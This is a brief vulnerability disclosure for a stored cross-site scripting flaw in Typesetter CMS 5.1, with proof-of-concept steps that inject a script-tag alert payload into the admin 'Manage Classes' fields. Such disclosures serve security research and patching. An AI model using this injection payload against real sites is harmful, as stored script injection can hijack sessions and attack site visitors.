Typesetter 5.1 Storage type Cross-Site Scripting

#site: http://www.typesettercms.com

#Version: 5.1

#Introduction：

Typesetter is free, open source CMS which is faster and Easier.  There is a storage XSS vulnerability in position Settings-> Manage Classes

 

#Proof of Concepts:

1 – visit: http://127.0.0.1/Typesetter/index.php/Admin/Classes

2 – In the “className” and “Description” field , input test”><script>alert(1)</script>

3 – click the Save button

4 – visit http://127.0.0.1/Typesetter/index.php/Admin/Classes ,  XSS box will then pop-up